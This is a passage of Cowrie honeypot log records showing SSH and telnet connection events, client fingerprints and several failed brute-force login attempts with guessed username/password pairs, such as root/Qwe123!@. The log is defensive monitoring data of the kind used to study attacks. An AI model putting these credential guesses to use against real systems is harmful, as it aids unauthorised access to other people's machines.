{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:03.723579Z","src_ip":"45.153.34.112","session":"63a6ad2ad515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:03.975765Z","src_ip":"45.153.34.112","session":"63a6ad2ad515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30e9809d66e","protocol":"telnet","message":"New connection: 192.119.13.58:57634 (10.17.0.5:23) [session: b30e9809d66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:04.092493Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:05.065061Z","src_ip":"45.153.34.112","session":"63a6ad2ad515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"4271321056e7","protocol":"telnet","message":"New connection: 192.119.13.58:36006 (10.17.0.5:23) [session: 4271321056e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:05.562369Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b385dd1a4399","protocol":"telnet","message":"New connection: 192.119.13.58:40914 (10.17.0.5:23) [session: b385dd1a4399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:06.620782Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":49638,"dst_ip":"10.17.0.5","dst_port":22,"session":"a438b06fe180","protocol":"ssh","message":"New connection: 43.130.36.39:49638 (10.17.0.5:22) [session: a438b06fe180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:06.728607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:06.734006Z","src_ip":"43.130.36.39","session":"a438b06fe180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:06.802470Z","src_ip":"43.130.36.39","session":"a438b06fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123!@","message":"login attempt [root/Qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:07.113325Z","src_ip":"43.130.36.39","session":"a438b06fe180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37652,"dst_ip":"10.17.0.5","dst_port":22,"session":"366eb3101754","protocol":"ssh","message":"New connection: 45.153.34.112:37652 (10.17.0.5:22) [session: 366eb3101754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:07.238948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:07.244592Z","src_ip":"45.153.34.112","session":"366eb3101754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:07.327157Z","src_ip":"45.153.34.112","session":"366eb3101754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:07.573321Z","src_ip":"45.153.34.112","session":"366eb3101754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:08.186176Z","src_ip":"43.130.36.39","session":"a438b06fe180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:08.733721Z","src_ip":"45.153.34.112","session":"366eb3101754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.62149167060852,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:10.086803Z","src_ip":"192.119.13.58","session":"25dab8e046c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40840,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a3736bdab2a","protocol":"ssh","message":"New connection: 45.153.34.112:40840 (10.17.0.5:22) [session: 8a3736bdab2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:10.718584Z"}
{"eventid":"cowrie.session.closed","duration":42.87200617790222,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:10.746081Z","src_ip":"192.119.13.58","session":"15d05fb35d39","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:10.758560Z","src_ip":"45.153.34.112","session":"8a3736bdab2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:10.945601Z","src_ip":"45.153.34.112","session":"8a3736bdab2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:11.250957Z","src_ip":"45.153.34.112","session":"8a3736bdab2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:12.478975Z","src_ip":"45.153.34.112","session":"8a3736bdab2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.82654333114624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:14.092874Z","src_ip":"192.119.13.58","session":"f91aedb6c601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40842,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aeb455c35bb","protocol":"ssh","message":"New connection: 45.153.34.112:40842 (10.17.0.5:22) [session: 7aeb455c35bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:14.469535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:14.475118Z","src_ip":"45.153.34.112","session":"7aeb455c35bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:14.594730Z","src_ip":"45.153.34.112","session":"7aeb455c35bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:15.015949Z","src_ip":"45.153.34.112","session":"7aeb455c35bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:16.214998Z","src_ip":"45.153.34.112","session":"7aeb455c35bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40856,"dst_ip":"10.17.0.5","dst_port":22,"session":"957898963759","protocol":"ssh","message":"New connection: 45.153.34.112:40856 (10.17.0.5:22) [session: 957898963759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:18.238544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:18.242767Z","src_ip":"45.153.34.112","session":"957898963759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:18.324650Z","src_ip":"45.153.34.112","session":"957898963759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:18.670605Z","src_ip":"45.153.34.112","session":"957898963759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:19.755899Z","src_ip":"45.153.34.112","session":"957898963759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49092,"dst_ip":"10.17.0.5","dst_port":23,"session":"00dcae8d9e9c","protocol":"telnet","message":"New connection: 192.119.13.58:49092 (10.17.0.5:23) [session: 00dcae8d9e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:21.099911Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50164,"dst_ip":"10.17.0.5","dst_port":22,"session":"296d810e4477","protocol":"ssh","message":"New connection: 45.153.34.112:50164 (10.17.0.5:22) [session: 296d810e4477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:21.894208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:21.899428Z","src_ip":"45.153.34.112","session":"296d810e4477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:21.983388Z","src_ip":"45.153.34.112","session":"296d810e4477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:22.232701Z","src_ip":"45.153.34.112","session":"296d810e4477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:23.481380Z","src_ip":"45.153.34.112","session":"296d810e4477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35192,"dst_ip":"10.17.0.5","dst_port":23,"session":"514692781249","protocol":"telnet","message":"New connection: 192.119.13.58:35192 (10.17.0.5:23) [session: 514692781249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.061981Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":35416,"dst_ip":"10.17.0.5","dst_port":22,"session":"032b8122a546","protocol":"ssh","message":"New connection: 186.68.83.105:35416 (10.17.0.5:22) [session: 032b8122a546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.213291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.218017Z","src_ip":"186.68.83.105","session":"032b8122a546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.307315Z","src_ip":"186.68.83.105","session":"032b8122a546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.694484Z","src_ip":"186.68.83.105","session":"032b8122a546","protocol":"ssh"}
